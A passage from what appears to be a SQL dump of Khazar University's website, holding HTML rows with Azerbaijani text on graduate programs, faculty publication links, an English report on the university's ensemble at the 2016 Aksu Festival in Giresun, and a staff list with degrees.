verir.</p><p style=\"text-align:justify\">Magistr proqramına daxil olan tələbələr əsasən bakalvr&nbsp;dərəcəsi ilə bağlı tələbləri yerinə yetirmiş olmalıdırlar. Magistr pilləsinə qəbul olunmaq üçün bakalavr dərəcəsi tələb olunur.<br>İxtisasdan asılı olaraq tələbələr magistr proqramları üzrə 39-45 kredit (tezis işi üçün 6 kredit də daxil olmaqla) toplamalı və onların ixtisas fənləri üzrə orta qiyməti (GPA) 75 və ya yuxarı olmalıdır.</p><p style=\"text-align:justify\">Fakültə Kompüter Elmləri, Kompüter Mühəndisliyi və Neft və Qaz Mühəndisliyi üzrə Doktorantura dərəcəsi əldə etməyə imkan verir.</p><p style=\"text-align:justify\">Doktorantura pilləsi tələbələri qabaqcıl təhsil və tədqiqatla təmin etmək üçün nəzərdə tutulmuşdur.</p><p style=\"text-align:justify\">Doktorantura pilləsinə qəbul olan tələbələr əsasən magistr&nbsp;dərəcəsi ilə bağlı tələbləri yerinə yetirməli və&nbsp;yaradıcılıq qabiliyyətini nümayiş etdirməlidir. Doktorantura pilləsinə qəbul olunmaq üçün magistr dərəcəsi tələb olunur.</p><p style=\"text-align:justify\">Hər namizəd yekun olaraq öz dissertasiyasını şifahi olaraq müdafiə&nbsp;etməli,&nbsp;əsas sahə ilə bağlı geniş bilik nümayiş etdirməli, habelə təhsil sahəsində dissertasiya mövzusunun əhəmiyyətini vurğulamalıdır.</p><p style=\"font-size:medium;text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\"><strong>Kompüter elmləri üzrə magistr proqramı</strong></h3><p style=\"text-align:justify\">Kompüter elmləri üzrə magistr pilləsi ixtisaslı tələbələrə Kompüter elmləri ilə bağlı&nbsp; təhsilini qabaqcıl səviyyədə davam etdirməyə imkan verir. Bundan əlavə minimum universitet tələblərinə cavab verməklə yanaşı, abituriyentlərin kompüter elmləri ilə bağlı kifayət qədər bakalavr hazırlığı olmalıdır.<strong>&nbsp;</strong>Magistr təhsili üçün namizədlər universitetin&nbsp;ilkin şərtlərindən əlavə ixtisas sahəsində müvafiq bakalavr proqramı hazırlığına malik olmalıdırlar.&nbsp;Belə hazırlığı olmayan&nbsp;tələbələr bakalavr proqramından bəzi ixtisas fənlərini də öyrənməlidirlər.<br></p><p style=\"text-align:justify\"><strong><em>Qeyd: &nbsp;Fakültə digər alternativ fənlər&nbsp;təklif edə bilər.</em></strong></p><p style=\"font-size:medium;text-align:justify\"><br></p><h3 style=\"text-align:justify\"><strong>Kompüter mühəndisliyi üzrə magistr&nbsp;</strong><strong>proqramı</strong></h3><p style=\"text-align:justify\">Kompüter mühəndisliyi üzrə magistr proqramı ixtisaslı tələbələrə Kompüter mühəndisliyi ilə bağlı&nbsp;təhsilini qabaqcıl səviyyədə davam etdirməyə imkan verir. Magistrlar Kompüter qrafikası, Multimedia sistemləri və Kompüter mühəndisliyi və digər sahələrdə ixtisaslaşa bilər.</p><p style=\"text-align:justify\">Bundan əlavə minimum universitet tələblərinə cavab verməklə yanaşı, abituriyentlərin kompüter elmləri ilə bağlı kifayət qədər bakalavr hazırlığı olmalıdır. Magistratura pilləsinə qəbul olan, lakin yetərli biliyi olmayan tələbələr üçün&nbsp;ilkin olaraq müəyyən bakalavr fənlərinin keçirilməsi nəzərdə tutulur.</p><p style=\"font-size:medium;text-align:justify\"><strong></strong></p><p><strong><em>Qeyd: Fakültə digər alternativ fənlər təklif edə bilər.<strong>&nbsp;</strong> </em></strong></p><strong> <br></strong><p></p><p style=\"font-size:medium;text-align:justify\"><strong><br></strong></p><h3 style=\"text-align:justify\"><strong>Neft və&nbsp;</strong><strong>q</strong><strong>az mühəndisliyi üzrə magistr p</strong><strong>roqramı</strong></h3><p style=\"text-align:justify\">Neft Mühəndisliyi üzrə magistr təhsili mühəndisləri&nbsp; neft və qaz istehsalı zamanı məsuliyyətli olmaq üçün hazırlayır. Neft mühəndisliliyini bitirən məzunu tezliklə güclü potensial sahələrin şəxsi və professional inkişafına meydan oxuduğunu görmək olar.</p><p style=\"text-align:justify\">Sənaye ərzində üstün bacarığını inkişaf etdirmək arzusunda olan namizədlərin müvəffəqiyyətli&nbsp;olacağını gözləmək olar. Mühəndislik və Tətbiqi Elmlər fakültəsi yüksək səviyyədə tələbələr hazırlayır və texniki bacarıqları ilə bu problemlərin öhdəsindən gəlmələri&nbsp; tələb olunur.</p><p style=\"text-align:justify\"><strong><em>Qeyd: Fakültə digər alternativ fənlər&nbsp;təklif edə bilər.</em></strong></p><p style=\"font-size:medium;text-align:justify\"><strong><br></strong></p><h3 style=\"text-align:justify\"><strong>Riyaziyyat üzrə magistr proqramı</strong></h3><p style=\"text-align:justify\">Magistr&nbsp;proqramının əsas məqsədi riyaziyyat&nbsp; və tətbiqi riyaziyyat üzrə yüksək ixtisaslı mütəxəssislər və tədqiqatçılar hazırlamaqdır.&nbsp;</p><p style=\"text-align:justify\">Müasir riyaziyyat yalnız elm və texnologiya dili deyil, həmçinin bir-çox böyük şöbələrdən və maraqlı tədqiqat sahələrindən ibarətdir. Buna görə, ən çox nəzəri sahələrdən &nbsp;ədədi və tədqiqi sahələrədək geniş diapazonda tədqiqat işləri aparılır.</p><p style=\"text-align:justify\">Bu magistratura proqramına tədqiqat yönümlü dissertasiya üçün 6 kredit daxil olmaqla&nbsp;39 kredit tələb olunur.&nbsp;</p><p style=\"text-align:justify\">Dərsin proqramı ixtisaslaşma sahəsinə uyğun olaraq Riyaziyyat Departamenti tərəfindən müəyyən edilir.</p><p style=\"font-size:medium;text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\"><strong>Doktorantura dərəcə proqramı</strong></h3><p style=\"text-align:justify\">Fakültə, Kompüter Elmləri, Kompüter mühəndisliyi və Neft və Qaz Mühəndisliyi üzrə Doktorantura dərəcə proqramı təklif edir.</p><p style=\"text-align:justify\">Doktorantura proqramı tələbələri qabaqcıl təhsil və tədqiqatla təmin etmək üçün nəzərdə tutulmuşdur. Doktorantura proqramına qəbul olmuş tələbələr magistr dərəcəsini bitirməli və yaradıcılıq qabiliyyəti nümayiş etdirməlidir. Doktorantura proqramına qəbul olunmaq üçün magistr dərəcəsi tələb olunur.&nbsp;</p><p style=\"text-align:justify\">Kurs işi və seçmə imtahanı qənaətbəxş başa vurduqdan sonra tələbə və onun rəhbəri dissertasiya mövzusu seçir. Namizədlər özlərinin müstəqil işi olan dissertasiyalarını yazarkən öz bacarıqlarını nümayiş etdirərək əsl tədqiqat həyata keçirir.</p><p style=\"font-size:medium;text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\"><strong>Fəlsəfə doktoru dərəcəsi üçün&nbsp;tədqiqat sahələri:</strong></h3><ul style=\"font-size:medium\"><li>Kompüter elmləri və Kompüter mühəndisliyi</li><li>İntellektual sistemlər</li><li>Kompüter qrafikası</li><li>Kompüter şəbəkələri</li><li>Multimedia sistemləri</li><li>Proqram mühəndisliyi</li><li>Başqa sahələr</li></ul><p style=\"font-size:medium;text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\"><strong>Neft və qaz mühəndisliyi</strong></h3><ul style=\"font-size:medium\"><li>Tədqiqat, istehsal və yataqların işlənməsi</li><li>Layların neft verməsinin yüksəldilməsi</li><li>Neft Geoelmləri</li><li>Qeyri-nyuton sistemlər və onun neftçıxarmada tətbiqi</li><li>Təbii qaz mühəndisliyi</li><li>Neft kimyası</li><li>Başqa sahələr</li></ul><p style=\"font-size:medium;text-align:justify\">&nbsp;</p><h3 style=\"text-align:justify\"><strong>Riyaziyyat</strong></h3><ul style=\"font-size:medium\"><li>Diferensial tənliklər</li><li>Funksional analiz</li><li>Operator nəzəriyyəsi</li><li>Funksional məkan</li><li>Əməliyyatların tədqiqi</li><li>Başqa sahələr</li></ul>'),(776,192,'az','Nəşrlər','Nəşrlər','<div><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Dr.%20Hassan%20Nikhnafs.docx\">Hassan Nikhnafs</a></strong>  <br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Gasham%20Zeynalov.docx\">Gasham Zeynalov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Mirsadegh%20Seyedzavvar.docx\">Mirsadegh Seyedzavvar</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Nuru%20Safarov.docx\">Nuru Safarov</a><a href=\"http://www.khazar.org/files/pdf/Nuru_Seferov_pub.pdf\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Rasoul%20Moradi.docx\">Rasoul Moradi&nbsp;</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Mahammad%20Sharifov.docx\">Mahammad Sharifov</a>&nbsp;</strong><br></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Farhad%20D..docx\">Farhad Danaei Yeganeh</a></strong>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Alimardanova%20F.N._List%20of%20Papers%20(25)%20%26%20Short%20descriptions%20(11).docx\">Fakhranda Alimardanova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/PublicationList_JM%20(1).docx\">Jestin Mandumpal</a><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\"></a></strong><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\"></a>  <br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Mehdi%20Kiyasatfar_publications.pdf\"><strong>Mehdi Kiyasatfar</strong></a>  <br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Leyla_Muradxanli_pub.pdf\">Leyla Muradkhanli</a></strong><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rafig_Ahmadov_pub.pdf\">Rafig Ahmadov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ramiz_Ahmadov_pub.pdf\">Ramiz Ahmadov</a></strong></p></div>'),(1884,1159,'en','Khazar University Participates in Aksu Festival in Giresun','After participating in concerts in Kahramanmaras, Turkey on May 16-17, the Khazar University musical collective and dance ensembles traveled to Giresun, Turkey for the 39th International Aksu Festival. Khazar University performers were representing Azerbaijan for the first time in the Aksu Festival upon the invitation of the Giresun Executive Body.','<p>After\r\nparticipating in concerts in Kahramanmaras, Turkey on May 16-17, the Khazar\r\nUniversity musical collective and dance ensembles traveled to Giresun, Turkey\r\nfor the 39<sup>th</sup> International Aksu Festival. Khazar University\r\nperformers were representing Azerbaijan for the first time in the Aksu Festival\r\nupon the invitation of the Giresun Executive Body.</p>\r\n<p>The\r\nKhazar University contingent was the largest group of performers participating\r\nin the Festival. Other participants hailed from Georgia, Macedonia, Turkey,\r\nSlovakia, and Cyprus. On May 18, the delegation arrived in Giresun, where Murat\r\nAkin, representative of the Giresun Executive Body, met them. The group was\r\nalso guided in Giresun by Istiklal Ay, Efli Atli, and Eftal Ozdemir. </p>\r\n<p>On\r\nMay 19 at 18:00, the Festival began with a parade along the main street of\r\nGiresun. The Khazar University, with the dance ensemble in national dress,\r\nmarched in the parade shouting “Azerbaijan-Turkey” and “Martyrs don’t die;\r\nhomeland is not divided!” After the parade, dinner was served to the\r\nparticipants. </p>\r\n<p>In\r\nthe morning of May 20, a ceremony was held to lay a wreath at the Ataturk\r\nstatue in front of the Giresun Executive Administration. Then Kerim Aksu, Head\r\nof Giresun Executive Body, made a speech to greet the visitors and officially\r\nbegin the Festival. </p>\r\n<p>Khazar\r\nUniversity was the final act to perform on stage on the first day of the\r\nfestival. After the first dance performance by the Khazar ensemble, performers\r\ngave interviews for the media. The festival was covered by Channel 24, Channel\r\nG (Giresun), Mavi Karadeniz, and Channel A TV stations. </p>\r\n<p>On\r\nthe same day, the second part of the festival included performances at Giresun\r\nFortress, a recreational park considered the peak of Giresun. With the support\r\nof dance instructors Telman Aliyev and Sabina Ismayilova as well as Zulfiyya\r\nSadigova, musical director of the program, the Khazar dance ensembles performed\r\na dance that involved the audience and caught the attention of local TV channel\r\nwho invited them to perform on a life broadcast several days later.\r\nUnfortunately, their participation was prevented by their travel schedule. </p>\r\n<p>On\r\nMay 21, 4 members from each participating group visited Kerim Aksu at the Giresun\r\nExecutive Administration. Khazar representatives thanked him for organizing the\r\nfestival and presented a gift on behalf of the university. </p>\r\n<p>Then\r\nthe dance ensemble participated in a final event on the Ataturk Square. The\r\nboys’ and girls’ dance ensembles performed “Chobalar,” “Qazakh,” “Uzbek,”\r\n“Tello” and “Yalli.” They were asked for several encores, in which they\r\nrepeatedly performed the “Gaytaghi” dance and a solo dance by Sabina Ismayilova\r\naccompanied by “Sari Gelin” performed by Musa Abdulla. The performers were\r\nasked to take many pictures with audience members. </p>\r\n<p>In\r\nthe evening, the delegation thanked their guides and returned by bus to Baku. </p>\r\n<p>&nbsp;</p>\r\n<p>Alovsat\r\nAmirbeyli</p>\r\n<p>Giresun-Baku</p>\r\n<p>18-22\r\nMay 2016</p>'),(777,247,'az','Müəllim və işçi heyəti','Müəllim və işçi heyəti','<h3><strong></strong></h3><h3><strong>Administration</strong></h3><div><strong><br></strong></div><p><strong><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli.pdf\">Hamlet Isakhanli</a></strong></p><p>Professor,<strong>&nbsp;</strong>DS in Mathematics (Steklov Mathematical Institute, Russian Academy of Sciences, Moscow), Founder of Khazar University, Azerbaijan</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Hasan Niknafs</a></strong></p><p>Professor, PhD&nbsp;in Mechanical Engineering (The University of Akron, Akron, Ohio, USA), Rector and Acting Dean of the School of Engineering and Applied Sciences</p><p>&nbsp;</p><hr width=\"100%\" noshade=\"noshade\"><h3><strong>Full-time Professors</strong></h3><div><strong><br></strong></div><p><strong><a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\">Nuru Safarov</a></strong></p><p>PhD&nbsp;in Physics (Institute of Physics, Azerbaijan National Academy of Sciences), Head of Electronics, Telecommunications and Radio Engineering Department</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Gasham_Zeynalov_CV.pdf\">Gasham Zeynalov</a></strong></p><p>PhD&nbsp;in Geology (Institute of Geology, Azerbaijan National Academy of Sciences), Head of Petroleum Engineering Department</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rasim_Bayramli_CV.pdf\">Rasim Bayramli</a></strong></p><p>PhD&nbsp;in Technical Sciences (Moscow Scientific Research Asbestos/Cement Institute, Russia), Head of Civil Engineering Department</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/mahammad_sharifov_cv.pdf\">Mahammad Sharifov</a></strong></p><p>PhD&nbsp;in Computer Engineering (Institute of Information Technology,&nbsp;Azerbaijan National Academy of Sciences), Coordinator of Computer Science Department</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV_Ali_Huseynov.pdf\">Ali Huseynli</a></strong></p><p>PhD&nbsp;in Mathematics (Institute of Mathematics and Mechanics,&nbsp;Azerbaijan National Academy of Sciences), Head of Mathematics Department</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/CV_2017_Mirsadegh%20Seyedzavvar.pdf\"></a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/CV_2017_Mirsadegh%20Seyedzavvar.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/cv/mirsadegh_seyedzavvar_cv.pdf\">Mirsadegh Seyedzavvar</a></strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/CV_2017_Mirsadegh%20Seyedzavvar.pdf\"></a></strong></p><p>PhD&nbsp;in Manufacturing and Production (University of Tabriz, Iran)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\">Rasoul Moradi</a></strong></p><p>PhD&nbsp;in Chemical Engineering (University of Tehran, Iran), Coordinator of Chemical Engineering Department</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Fakhranda%20A.N_CV%20.doc\">Fakhranda Alimardanova</a></strong></p><p>PhD&nbsp;in Physics (Azerbaijan National Academy of Sciences), Vice-Dean for Academic Affairs</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/ahmad_babanli_CV.pdf\"><strong>Ahmad Babanli</strong></a></p><p>PhD in Computer science&nbsp;(Moscow Power Engineering Institute, Russia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\">Vafa Aslanova</a></strong>&nbsp;<br></p><p>MS in Azerbaijan Language&nbsp;(Azerbaijan University of Languages),&nbsp;Vice Dean for&nbsp;Student Affairs&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV_mehrizadeh.pdf\">Masoud Mehrizadeh</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rashad_Khaligov_.CV.pdf\">Rashad Khaligov</a></strong></p><p>MS in Computer Science (Université de Franche Comté, France), Head of Information Systems Office</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Mehdi%20Kiyasatfar.pdf\">Mehdi Kiyasatfar</a></strong></p><p>PhD&nbsp;in Mechanical Engineering (Urmia University, Iran)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Zia_S_CV_Sep2018.pdf\">Ziaaddin Zamanzadeh</a>&nbsp;</strong><br></p><p>PhD in&nbsp;Structural Engineering (University of Minho, Portugal)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV_Abdulsalam_Mustafa%20%2017%20.pdf\">Abdulsalam Salihu Mustafa</a></strong></p><p>PhD&nbsp;candidate in Computer Science (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Ehsan%20Jafari.pdf\">Ehsan Jafari Dastgerdi</a></strong></p><p>PhD candidate&nbsp;in Petroleum Engineering&nbsp;(Khazar University, Azerbaijan)</p><p><br></p><p><strong></strong><a href=\"http://www.khazar.org/files/engineering/Mehdi_Bashiri-CV.pdf\"><strong>Mehdi Bashiri</strong></a></p><p>PhD candidate&nbsp;in Petroleum Engineering&nbsp;(Khazar University, Azerbaijan)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\">Nazila&nbsp;Pour Khalili</a></strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\"></a></p><p>PhD candidate in Biochemistry (Khazar University, Azerbaijan)<br></p><p><br></p><hr width=\"100%\" noshade=\"noshade\"><h3><strong>Instructors</strong></h3><div><strong><br></strong></div><p><strong><a href=\"http://www.khazar.org/files/pdf/CVShahmerdan_Amirov.pdf\">Shahmardan Amirov</a></strong></p><p>PhD&nbsp;in Physical and Mathematical Science (Institute of Physics,&nbsp;Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/KonulHuseinova-CV.pdf\">Konul Huseinova</a></strong></p><p>MS in Language Studies (Nakhchivan University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Narmina.FataliyevaCV.pdf\">Narmina Fataliyeva</a></strong></p><p>PhD&nbsp;in Language Studies (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Farida_Tatardar_CV%20.pdf\">Farida Tatardar</a></strong></p><p>PhD&nbsp;in Physics (Institute of Physics, Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/ArazAsadovCV2014.pdf\">Araz Asadov</a></strong></p><p>PhD&nbsp;in Technical Sciences, (Krilov Oil Research Institute, Russia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Aziza_Khanaliyeva_CV.pdf\">Aziza Khanaliyeva</a></strong></p><p>MS in English Language and Literature (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Sevda_Qaribova%20CV.pdf\">Sevda Garibova</a></strong></p><p>PhD&nbsp;in Physics (Institute of Physics, Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Zumrud_Abdulova_CV.pdf\">Zumrud Abdulova</a></strong></p><p>MS in Civil Engineering (University of Architecture and Construction,&nbsp;Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVTahirMammadov.pdf\">Tahir Mammadov</a></strong></p><p>MS in Petroleum Engineering (Ecole Nationale Superieure de Geologie, France)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cvKonulKamilzade.pdf\">Konul Kamilzade</a></strong></p><p>MS in Translation of Korean Language (Azerbaijan University of Languages)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVSamirValiyev.pdf\">Samir Valiyev</a></strong></p><p>MS in Geological Engineering (Azerbaijan State Oil Academy)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVFarman_MAMMADOV.pdf\">Farman Mammadov</a></strong></p><p>PhD&nbsp;in Electrical Engineering (Azerbaijan State Oil Academy)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVRahman_Rasulzade.pdf\">Rahman Rasulzada</a></strong></p><p>MS in&nbsp;Control System Engineering&nbsp;(Texas A&amp;M University, College Station,&nbsp;USA)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV_ZaurKarimov.pdf\">Zaur Karimov</a></strong></p><p>PhD&nbsp;in Biology (Azerbaijan State Medical University)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cv_Leyla_Mammedli.pdf\">Leyla Mammadli</a></strong></p><p>MS in Jurisprudence (Baku State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/image/Sevinc%20Allahverdiyeva%20CV.pdf\">Sevinc Allahverdiyeva</a>&nbsp;</strong>&nbsp;<br></p><p>MS in German&nbsp;Language (Azerbaijan University of Languages)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Reyhan_Madatova_CV.pdf\">Reyhan Madatova</a>&nbsp;</strong><br></p><p>PhD&nbsp;in Philology&nbsp;(Azerbaijan National Academy of Sciences, Institute of&nbsp;Linguistics)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Izat_Shahsenov_CV.pdf\">Izat Shahsenov</a></strong></p><p>MS in Petroleum Engineering (Moscow Institute of Physics and Technology, Russia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/Bayram%20Quliyev%20-%20CV%20eng.pdf\">Bayram Guliyev</a>&nbsp;</strong><br></p><p>PhD&nbsp;in History (Baku&nbsp;State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/MA%C4%B0L%20YAQUBOV.PDF\">Mail Yaqubov</a>&nbsp;</strong></p><p>PhD&nbsp;in&nbsp;Philosophy<strong>&nbsp;</strong>(University of Tehran, Iran)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Adilya_Abdullayeva_CV.pdf\">Adilya&nbsp;Abdullayeva</a>&nbsp;</strong><br></p><p>MS in Language Studies (Azerbaijan University of Languages)</p><p><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Nigar%20Mammadova%20cv%20%2B.pdf\"><strong>Nigar Mammadova</strong></a>&nbsp;<br></p><p>MS&nbsp;in History and Theory of Pedagogy in Education (Baku Slavic University, Azerbaijan)<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVShirin_NajafMammadova.pdf\">Shirin Mammadova</a></strong></p><p>MS in Chemistry (Baku State University, Azerbaijan)</p><p><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Mahire%20Quluzade.pdf\"><strong>Mahire Guluzade</strong></a>&nbsp;<br></p><p>MS in&nbsp;Linguistics&nbsp;(Azerbaijan University of Languages)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Narmin%20Mammadova%20.pdf\">Narmin Mammadova</a>&nbsp;</strong><br></p><p>MS&nbsp;in Education and Educational Research (University of Edinburgh, UK)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Guliyeva%20Nahide.docx\">Nahide Guliyeva</a>&nbsp;</strong><br></p><p>MS in Language Studies (Azerbaijan University of Languages)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cvMonday_obekpa.pdf\">Monday Obekpa</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Elvin%C6%8Fzizb%C9%99yov_CV.pdf\">Elvin Azizbeyov</a></strong></p><p>PhD&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV_VusalMammadrzayev.pdf\">Vusal Mammadrzayev</a></strong></p><p>MS in Economics and Finance (Eberhard-Karls University of Tübingen, Germany)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Adil%20Abbasov%20CV1.pdf\">Adil Abbasov</a></strong></p><p>MS in Chemical Engineering (French Institute of Petroleum, France)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV-Sabuhi_Ganiyev.pdf\">Sabuhi Ganiyev</a></strong></p><p>MS in Electronical&nbsp;Engineering (International Islamic University, Malaysia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV.Azizov%20J%20.pdf\">Javanshir Azizov</a></strong></p><p>PhD&nbsp;candidate in Mathematics (Baku State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Sabira%20Zeynalova-Academic%20CV%20(1).pdf\">Sabira Zeynalova</a></strong></p><p>MS in Civil Engineering (Azerbaijan Architecture and Construction University)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV(ENG)_Tural%20Maharramov.pdf\">Tural Maharramov</a></strong></p><p>MS in Ecological Engineering (National Aviation Academy, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Gunay%20Gasimova%20CV.pdf\">Gunay Gasimova</a></strong></p><p>MS in Italian Language (Universita’ per Stranieri di Perugia, Italy)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV.CAFAROVA%20LALA.pdf\">Lala Jafarova</a></strong></p><p>PhD&nbsp;candidate in Mathematics (Baku State University,&nbsp;Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Ahmadzada%20Vafa-CV_for%20Khazar.pdf\">Vafa Ahmadzada</a></strong></p><p>MS in Petroleum Engineering (Imperial College London, UK)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/General/CV-Europass-20170108-Nuriyeva-EN.docx\">Konul Nuriyeva</a></strong></p><p>PhD&nbsp;candidate in Economics (Azerbaijan University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Mezahim_Guliyev_CV.pdf\"><strong>Mazahim Guliyev</strong></a></p><p>PhD in Technical sciences (Azerbaijan Technical University)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/elshan_Aliyev_cv.pdf\">Elshan Aliyev</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Shahriyar%20Alkhasli.pdf\">Shahriyar Alkhasli</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV-Rasim_Abdullayev.pdf\">Rasim Abdullayev</a></strong><br></p><p>PhD&nbsp;candidate in Information and Communication Systems (Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Asim%20Namazov%20CV_7.pdf\">Asim Namazov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Asim%20Namazov%20CV_7.pdf\"></a></strong>MS in Distribution of Networks, Information and Communication Systems (Azerbaijan Technical University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/cv-farid%20aliyev-english..pdf\"><strong>Farid Aliyev</strong></a></p><p>MS in Piping Engineering and Design (University of San Jorge, Spain)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Zahid%20Nabiyev.pdf\">Zahid Nabiyev</a></strong></p><p>MS in&nbsp;Design of 